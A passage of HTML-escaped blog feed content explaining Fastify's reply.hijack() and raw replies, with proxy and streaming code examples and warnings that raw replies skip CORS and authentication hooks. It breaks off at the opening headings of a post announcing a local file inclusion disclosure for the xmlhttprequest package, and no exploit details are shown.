&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;data: Welcome!&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Send a new event every second&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setInterval&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`data: Event ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;what-is-replyhijack&quot;&gt;What is reply.hijack()?&lt;/h2&gt;
&lt;p&gt;Let’s dive deeper into raw HTTP replies in Fastify web applications and meet &lt;code&gt;reply.hijack()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;reply.hijack()&lt;/code&gt; is a method provided by Fastify that allows you to “hijack” the underlying HTTP stream and take control of its read and write operations. When you call this method, Fastify hands over the socket and allows you to interact with it directly. This means you can bypass the framework’s usual request-response flow and handle the stream at a low level.&lt;/p&gt;
&lt;p&gt;Specifically, when you call &lt;code&gt;reply.hijack()&lt;/code&gt; then Fastify knows you want to complete sending the HTTP response by yourself using raw replies.&lt;/p&gt;
&lt;p&gt;The Fastify documentation shows a code example for aborting Fastify’s own &lt;code&gt;reply.send()&lt;/code&gt; and instead controlling the response stream yourself:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;hijack&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  reply.raw.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;hello world&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;this will be skipped&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Important to point out - in the above code, Fastify won’t be appending any HTTP headers.&lt;/p&gt;
&lt;h3 id=&quot;use-case-proxy-servers&quot;&gt;Use-case: Proxy servers&lt;/h3&gt;
&lt;p&gt;One example use-case might be to use &lt;code&gt;reply.hijack()&lt;/code&gt; to build proxy servers, where you need to forward requests to another server while modifying or intercepting the data being sent or received.&lt;/p&gt;
&lt;p&gt;By hijacking the stream, you can act as a middleware, inspecting and manipulating the incoming and outgoing data.&lt;/p&gt;
&lt;p&gt;Let’s consider a simple example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/proxy&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;hijack&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply.raw;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Forward the request to the target server&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;targetSocket&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; net.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;8000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;target-server.com&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  socket.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;pipe&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(targetSocket).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;pipe&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(socket);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, when a GET request is made to &lt;code&gt;/proxy&lt;/code&gt;, we establish a connection to a target server. By piping the sockets together, we create a transparent proxy, forwarding the data from the client to the target server and vice versa. With &lt;code&gt;reply.hijack()&lt;/code&gt;, we have full control over the proxy behavior and can apply custom logic to modify or analyze the data being exchanged.&lt;/p&gt;
&lt;h2 id=&quot;why-should-you-avoid-fastifys-replyraw-and-replyhijack&quot;&gt;Why should you avoid Fastify’s &lt;code&gt;reply.raw&lt;/code&gt; and &lt;code&gt;reply.hijack()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;While this set of APIs makes a powerful tool to control HTTP responses, it also hides an important high-level concept when working within a framework.&lt;/p&gt;
&lt;p&gt;If it wasn’t clear until now - when you resort to raw HTTP responses then &lt;em&gt;you skip and bypass the entire HTTP response logic by Fastify, including &lt;code&gt;onRequest&lt;/code&gt; hooks and other response lifecycle operations&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This seems logical at first but when you take a step back and consider the entire web concerns for any reasonable web application then you soon realize where hijacking Fastify’s response hooks for raw HTTP responses misses out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;CORS: if you enabled CORS via something like &lt;code&gt;@fastify/cors&lt;/code&gt; then no CORS related headers will be added to the response and you’d need to manually do that in the route you hijacked the response.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Authentication: if you enabled some sort of authentication plugin such as &lt;code&gt;@fastify/jwt&lt;/code&gt; which often adds an &lt;code&gt;onRequest&lt;/code&gt; server handler to verify a JWT token such as &lt;code&gt;await request.jwtVerify();&lt;/code&gt; then you’ve completely bypassed that too.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;fastify-raw-http-replies-with-replyhijack-and-replyraw-pitfalls-and-considerations&quot;&gt;Fastify raw HTTP replies with reply.hijack and reply.raw: Pitfalls and Considerations&lt;/h3&gt;
&lt;p&gt;While &lt;code&gt;reply.hijack()&lt;/code&gt; offers immense power and flexibility, it’s essential to understand its potential pitfalls and considerations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Increased complexity: by using &lt;code&gt;reply.hijack()&lt;/code&gt;, you’re essentially bypassing Fastify’s built-in request-response flow. This can introduce complexity, as you’re responsible for handling low-level operations such as data parsing, error handling, and managing the socket’s lifecycle. It’s crucial to have a solid understanding of network protocols and the underlying stream mechanics to handle these complexities effectively.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Risk of blocking: since &lt;code&gt;reply.hijack()&lt;/code&gt; allows you to control the HTTP stream in real-time, it’s essential to avoid blocking operations. Long-running or computationally expensive tasks can lead to blocking the event loop (think: RegEx for example), affecting the performance and responsiveness of your application.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;a-better-alternative-to-raw-requests-with-fastifys-stream-responses&quot;&gt;A better alternative to raw requests with Fastify’s stream responses&lt;/h2&gt;
&lt;p&gt;If your raw HTTP responses use-case is about modifying response on-the-fly, then you can achieve that by working with streams. And hey, after all, HTTP is streamable data protocol.&lt;/p&gt;
&lt;p&gt;And with that, consider the following example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Fastify &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fastify&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { Readable } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;stream&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;server.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;readableStream&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Readable&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  readableStream.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;_read&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;header&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;application/json; charset=utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(readableStream);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Simulate asynchronous processing of the request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Push the desired data down the stream&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    readableStream.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ message: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Hello, world!&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Nothing else to do after 5 seconds so we close the stream&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Push the desired data down the stream&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    readableStream.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;); &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// End the stream when the client closes the connection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;server.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Error starting server:&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, err);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    process.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Server listening on port 3000&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the above we use a readable stream that we pipe to Fastify via &lt;code&gt;reply.send(readableStream)&lt;/code&gt;. Since Fastify natively supports streams, it allows us to continue piping data to the stream until we want to denote that we’re finished (via &lt;code&gt;readableStream.push(null)&lt;/code&gt;) at which point the HTTP response ends.&lt;/p&gt;
&lt;p&gt;The best part? Any &lt;code&gt;onRequest&lt;/code&gt; hooks or other logic that is part of Fastify’s plugin and hooks systems is maintained, including HTTP response headers such as CORS.&lt;/p&gt;</content:encoded></item><item><title>Disclosing a local file inclusion vulnerability in xmlhttprequest library</title><link>https://lirantal.com/blog/local-file-inclusion-in-xmlhttprequest-library/</link><guid>https://lirantal.com/blog/local-file-inclusion-in-xmlhttprequest-library/</guid><description>I found a Local File Inclusion (LFI) security vulnerability in xmlhttprequest library but it&apos;s still unfixed.</description><pubDate>Thu, 27 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-the-xmlhttprequest-npm-package&quot;&gt;What is the &lt;code&gt;xmlhttprequest&lt;/code&gt; npm package?&lt;/h2&gt;
&lt;p&gt;The open-source npm package &lt;code&gt;xmlhttprequest&lt;/code&gt; is a library for Node.js server-side projects to use a browser-like HTTP client. Mostly intended for a convenient API purposes, it is technically a wrapper around Node.js’s core modules of &lt;code&gt;http&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;publicly-disclosing-a-vulnerability-in-xmlhttprequest&quot;&gt;Publicly disclosing a vulnerability in &lt;code&gt;xmlhttprequest&lt;/code&gt;&lt;/h2&gt;
